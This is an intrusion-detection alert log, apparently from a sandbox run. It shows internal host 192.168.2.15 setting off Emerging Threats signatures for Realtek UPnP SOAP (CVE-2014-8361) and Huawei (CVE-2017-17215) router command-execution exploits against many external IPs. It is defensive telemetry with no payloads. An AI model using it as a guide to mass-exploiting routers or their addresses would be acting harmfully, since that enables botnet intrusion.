07/20/24-23:10:42.625971	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39244	52869	192.168.2.15	191.96.230.47
07/20/24-23:10:45.846142	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49618	52869	192.168.2.15	72.211.196.78
07/20/24-23:10:42.641904	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41872	52869	192.168.2.15	67.65.153.119
07/20/24-23:10:39.737734	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42446	52869	192.168.2.15	222.31.20.54
07/20/24-23:10:47.417816	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59032	52869	192.168.2.15	135.178.159.192
07/20/24-23:11:06.678578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43756	37215	192.168.2.15	41.138.13.10
07/20/24-23:10:41.227867	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56432	37215	192.168.2.15	157.203.245.203
07/20/24-23:10:46.580123	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37422	52869	192.168.2.15	167.111.167.13
07/20/24-23:10:39.187584	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48776	52869	192.168.2.15	134.116.6.133
07/20/24-23:10:49.395188	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52040	37215	192.168.2.15	197.0.255.123
07/20/24-23:10:40.940896	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36924	37215	192.168.2.15	41.17.147.201
07/20/24-23:10:49.428717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38892	37215	192.168.2.15	124.1.175.52
07/20/24-23:10:42.253017	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54942	37215	192.168.2.15	197.161.49.75
07/20/24-23:10:52.045896	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38138	52869	192.168.2.15	48.171.160.205
07/20/24-23:10:46.735704	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34302	37215	192.168.2.15	197.18.113.6
07/20/24-23:10:42.248237	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46134	37215	192.168.2.15	157.9.212.7
07/20/24-23:10:41.224086	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44576	37215	192.168.2.15	197.141.80.64
07/20/24-23:10:46.836862	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43856	37215	192.168.2.15	41.122.179.200
07/20/24-23:10:46.768902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36978	37215	192.168.2.15	197.159.22.204
07/20/24-23:10:56.035713	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51440	37215	192.168.2.15	41.183.130.205
07/20/24-23:10:40.656564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37088	37215	192.168.2.15	41.62.170.7
07/20/24-23:10:46.768902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55592	37215	192.168.2.15	197.125.193.159
07/20/24-23:10:42.250388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38190	37215	192.168.2.15	212.219.251.156
07/20/24-23:10:52.563890	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60842	37215	192.168.2.15	41.14.238.220
07/20/24-23:10:43.214856	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33894	52869	192.168.2.15	191.36.218.84
07/20/24-23:10:42.269853	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60756	37215	192.168.2.15	157.147.176.235
07/20/24-23:10:49.425318	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47382	37215	192.168.2.15	197.61.167.100
07/20/24-23:10:51.900424	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37860	52869	192.168.2.15	77.201.115.63
07/20/24-23:10:46.711367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42892	37215	192.168.2.15	197.31.73.154
07/20/24-23:10:43.398861	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49388	52869	192.168.2.15	70.33.189.136
07/20/24-23:10:40.650979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47976	37215	192.168.2.15	148.185.232.135
07/20/24-23:10:42.620129	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43006	52869	192.168.2.15	72.244.52.162
07/20/24-23:10:46.726397	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59324	37215	192.168.2.15	157.215.163.237
07/20/24-23:10:44.049362	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45866	52869	192.168.2.15	162.136.177.252
07/20/24-23:10:46.865461	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50180	37215	192.168.2.15	197.37.247.195
07/20/24-23:10:45.375206	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40382	52869	192.168.2.15	101.108.145.138
07/20/24-23:10:47.596350	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32838	52869	192.168.2.15	119.185.234.171
07/20/24-23:10:40.608330	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59710	37215	192.168.2.15	157.36.31.158
07/20/24-23:10:46.779706	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43124	37215	192.168.2.15	190.40.222.140
07/20/24-23:10:45.155722	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36684	52869	192.168.2.15	154.244.223.55
07/20/24-23:10:56.011228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55218	37215	192.168.2.15	197.200.61.29
07/20/24-23:10:56.030930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46288	37215	192.168.2.15	65.202.175.248
07/20/24-23:10:52.558618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34838	37215	192.168.2.15	117.128.164.33
07/20/24-23:10:40.664038	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42026	37215	192.168.2.15	197.241.179.83
07/20/24-23:10:56.007995	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54622	37215	192.168.2.15	41.36.226.98
07/20/24-23:11:06.662677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38100	37215	192.168.2.15	197.157.220.94
07/20/24-23:10:42.248307	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38994	37215	192.168.2.15	157.18.132.195
07/20/24-23:10:47.625872	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37054	52869	192.168.2.15	170.167.39.209
07/20/24-23:10:55.999553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58642	37215	192.168.2.15	157.235.78.126
07/20/24-23:10:56.024382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41702	37215	192.168.2.15	197.166.125.235
07/20/24-23:10:59.011093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39702	37215	192.168.2.15	157.62.170.195
07/20/24-23:10:47.639957	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42714	52869	192.168.2.15	103.44.42.7
07/20/24-23:10:52.024591	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54794	52869	192.168.2.15	220.171.155.214
07/20/24-23:10:52.546429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43670	37215	192.168.2.15	41.226.172.60
07/20/24-23:10:51.923394	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60804	52869	192.168.2.15	144.40.158.145
07/20/24-23:10:52.047769	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36284	52869	192.168.2.15	153.91.88.242
07/20/24-23:10:53.126805	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35564	52869	192.168.2.15	83.178.139.14
07/20/24-23:10:41.220904	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41220	37215	192.168.2.15	157.62.253.162
07/20/24-23:11:03.365385	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36018	37215	192.168.2.15	197.20.64.254
07/20/24-23:10:51.948284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50024	52869	192.168.2.15	58.115.50.235
07/20/24-23:10:41.231287	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44378	37215	192.168.2.15	197.223.201.190
07/20/24-23:10:59.055793	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34624	37215	192.168.2.15	197.178.223.191
07/20/24-23:10:41.232384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50676	37215	192.168.2.15	157.108.205.183
07/20/24-23:10:44.794102	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43430	52869	192.168.2.15	184.114.49.59
07/20/24-23:10:39.488246	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47464	37215	192.168.2.15	78.250.115.189
07/20/24-23:10:52.007232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40756	52869	192.168.2.15	119.58.176.87
07/20/24-23:10:39.473095	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38056	37215	192.168.2.15	157.113.132.47
07/20/24-23:10:42.272034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40296	37215	192.168.2.15	157.190.168.108
07/20/24-23:10:42.637866	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40292	52869	192.168.2.15	133.58.253.32
07/20/24-23:10:45.751253	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45660	52869	192.168.2.15	23.255.13.10
07/20/24-23:10:42.277609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49820	37215	192.168.2.15	41.27.6.3
07/20/24-23:10:59.029814	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48738	37215	192.168.2.15	157.157.125.26
07/20/24-23:10:59.004938	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56882	37215	192.168.2.15	41.216.61.141
07/20/24-23:10:49.377082	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46062	37215	192.168.2.15	197.190.27.41
07/20/24-23:10:51.937938	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32872	52869	192.168.2.15	87.2.229.121
07/20/24-23:10:59.021280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38852	37215	192.168.2.15	199.155.57.115
07/20/24-23:10:49.421978	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40180	37215	192.168.2.15	197.91.25.23
07/20/24-23:10:46.958520	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34936	52869	192.168.2.15	111.98.52.15
07/20/24-23:10:40.642616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53176	37215	192.168.2.15	197.176.162.29
07/20/24-23:10:39.931842	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60064	52869	192.168.2.15	206.49.109.215
07/20/24-23:11:06.680205	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42976	37215	192.168.2.15	157.138.232.152
07/20/24-23:10:51.970585	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35444	52869	192.168.2.15	24.166.44.145
07/20/24-23:10:55.999553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46840	37215	192.168.2.15	41.102.185.142
07/20/24-23:10:39.431804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42676	37215	192.168.2.15	157.135.74.226
07/20/24-23:10:59.021280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34280	37215	192.168.2.15	41.63.123.35
07/20/24-23:11:03.343633	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43170	37215	192.168.2.15	197.109.236.216
07/20/24-23:10:49.370142	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59372	37215	192.168.2.15	113.242.211.202
07/20/24-23:10:46.809208	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41136	37215	192.168.2.15	41.169.152.167
07/20/24-23:11:03.365385	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39670	37215	192.168.2.15	197.156.237.149
07/20/24-23:10:46.711367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40574	37215	192.168.2.15	157.49.218.96
07/20/24-23:10:39.462416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37890	37215	192.168.2.15	197.180.228.252
07/20/24-23:10:43.855483	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34410	52869	192.168.2.15	66.162.227.137
07/20/24-23:10:52.530643	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37984	37215	192.168.2.15	157.120.104.238
07/20/24-23:11:06.657863	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54996	37215	192.168.2.15	41.167.165.206
07/20/24-23:10:41.230206	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55828	37215	192.168.2.15	41.235.198.119
07/20/24-23:10:41.232384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49206	37215	192.168.2.15	61.39.146.236
07/20/24-23:10:46.809208	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57318	37215	192.168.2.15	157.202.234.239
07/20/24-23:10:52.005273	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54290	52869	192.168.2.15	111.84.141.243
07/20/24-23:10:59.001293	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43232	37215	192.168.2.15	157.219.82.157
07/20/24-23:10:55.979374	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40564	37215	192.168.2.15	157.119.167.79
07/20/24-23:10:59.012071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36778	37215	192.168.2.15	35.148.136.213
07/20/24-23:10:52.578509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45644	37215	192.168.2.15	41.86.23.216
07/20/24-23:10:49.421978	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39050	37215	192.168.2.15	41.13.92.10
07/20/24-23:10:56.007995	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59632	37215	192.168.2.15	41.41.106.4
07/20/24-23:10:42.266163	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51356	37215	192.168.2.15	197.194.124.27
07/20/24-23:10:42.624844	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48724	52869	192.168.2.15	96.224.29.242
07/20/24-23:10:40.658204	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40044	37215	192.168.2.15	157.89.121.43
07/20/24-23:10:38.988625	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39574	52869	192.168.2.15	112.183.31.205
07/20/24-23:10:52.061682	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43468	52869	192.168.2.15	158.108.32.200
07/20/24-23:10:58.998725	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38064	37215	192.168.2.15	204.240.204.242
07/20/24-23:10:39.597366	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52370	52869	192.168.2.15	113.59.43.68
07/20/24-23:10:41.234520	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40388	37215	192.168.2.15	197.98.237.187
07/20/24-23:10:39.486941	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42418	37215	192.168.2.15	216.125.26.34
07/20/24-23:10:51.948284	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36830	52869	192.168.2.15	129.202.137.125
07/20/24-23:10:42.262762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43614	37215	192.168.2.15	197.10.120.55
07/20/24-23:10:56.021160	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50268	37215	192.168.2.15	165.7.65.37
07/20/24-23:10:43.593436	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45792	52869	192.168.2.15	187.70.196.41
07/20/24-23:10:52.607833	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41444	37215	192.168.2.15	52.64.4.0
07/20/24-23:10:39.812132	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41042	52869	192.168.2.15	189.209.128.109
07/20/24-23:10:41.230071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54702	37215	192.168.2.15	157.87.201.136
07/20/24-23:10:52.540929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49796	37215	192.168.2.15	143.44.179.209
07/20/24-23:10:52.021521	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37376	52869	192.168.2.15	143.186.214.112
07/20/24-23:10:41.221879	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54730	37215	192.168.2.15	157.214.195.83
07/20/24-23:10:42.639392	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46384	52869	192.168.2.15	223.10.231.163
07/20/24-23:11:03.361095	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40162	37215	192.168.2.15	41.157.154.207
07/20/24-23:10:42.629188	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56698	52869	192.168.2.15	69.210.2.130
07/20/24-23:10:40.616009	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44222	37215	192.168.2.15	197.187.16.96
07/20/24-23:11:06.678578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41130	37215	192.168.2.15	197.64.57.221
07/20/24-23:10:41.220792	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38304	37215	192.168.2.15	146.208.62.250
07/20/24-23:11:03.396635	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37562	37215	192.168.2.15	169.105.93.8
07/20/24-23:10:46.932181	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59210	52869	192.168.2.15	34.2.61.34
07/20/24-23:11:03.394674	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47660	37215	192.168.2.15	197.54.131.204
07/20/24-23:10:46.724339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39906	37215	192.168.2.15	41.6.134.161
07/20/24-23:10:42.255257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57716	37215	192.168.2.15	41.67.87.28
07/20/24-23:10:42.625971	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38770	52869	192.168.2.15	17.96.206.10
07/20/24-23:10:39.394192	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33188	52869	192.168.2.15	4.232.226.241
07/20/24-23:10:42.248237	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42764	37215	192.168.2.15	157.122.165.127
07/20/24-23:10:52.061682	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50088	52869	192.168.2.15	186.136.242.161
07/20/24-23:11:06.686627	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46414	37215	192.168.2.15	41.142.250.142
07/20/24-23:10:39.434124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40972	37215	192.168.2.15	49.55.180.63
07/20/24-23:10:40.653603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42998	37215	192.168.2.15	41.225.135.170
07/20/24-23:10:51.957772	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40662	52869	192.168.2.15	122.79.202.98
07/20/24-23:10:39.486941	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60356	37215	192.168.2.15	205.50.160.163
07/20/24-23:10:49.380109	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35852	37215	192.168.2.15	157.132.48.67
07/20/24-23:10:47.988538	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50854	52869	192.168.2.15	157.33.175.112
07/20/24-23:10:46.726397	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53846	37215	192.168.2.15	197.8.135.124
07/20/24-23:10:59.004938	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54808	37215	192.168.2.15	141.250.57.45
07/20/24-23:10:59.028826	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38124	37215	192.168.2.15	157.175.222.250
07/20/24-23:10:40.656426	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38834	37215	192.168.2.15	172.191.63.12
07/20/24-23:10:52.540929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42110	37215	192.168.2.15	213.253.71.106
07/20/24-23:10:52.024960	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44888	52869	192.168.2.15	103.44.42.7
07/20/24-23:10:56.011930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42534	37215	192.168.2.15	197.52.120.33
07/20/24-23:10:43.250374	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38830	52869	192.168.2.15	59.72.27.90
07/20/24-23:10:58.998725	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49104	37215	192.168.2.15	157.88.189.69
07/20/24-23:10:49.383600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59808	37215	192.168.2.15	126.49.153.67
07/20/24-23:10:49.377082	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38198	37215	192.168.2.15	41.201.199.127
07/20/24-23:10:41.230206	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51478	37215	192.168.2.15	41.215.250.254
07/20/24-23:10:51.940555	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36014	52869	192.168.2.15	129.64.233.15
07/20/24-23:10:41.231186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35796	37215	192.168.2.15	197.52.14.1
07/20/24-23:10:59.027427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38444	37215	192.168.2.15	197.168.213.155
07/20/24-23:11:03.352491	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46900	37215	192.168.2.15	35.138.127.168
07/20/24-23:10:51.984562	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48238	52869	192.168.2.15	17.184.223.151
07/20/24-23:10:47.429430	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44782	52869	192.168.2.15	76.120.98.58
07/20/24-23:10:52.010300	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39322	52869	192.168.2.15	167.111.167.13
07/20/24-23:10:59.046417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40560	37215	192.168.2.15	179.68.218.110
07/20/24-23:10:47.946887	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38692	52869	192.168.2.15	190.9.142.126
07/20/24-23:10:59.029071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43948	37215	192.168.2.15	41.147.52.26
07/20/24-23:10:49.420934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37900	37215	192.168.2.15	197.113.200.51
07/20/24-23:10:42.263488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39050	37215	192.168.2.15	41.165.2.246
07/20/24-23:10:42.640980	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60052	52869	192.168.2.15	221.199.80.98
07/20/24-23:10:51.983127	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35274	52869	192.168.2.15	47.132.43.96
07/20/24-23:10:52.016220	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55812	52869	192.168.2.15	116.183.105.217
07/20/24-23:10:49.409236	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55142	37215	192.168.2.15	157.81.113.18
07/20/24-23:10:51.970585	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47458	52869	192.168.2.15	23.255.13.10
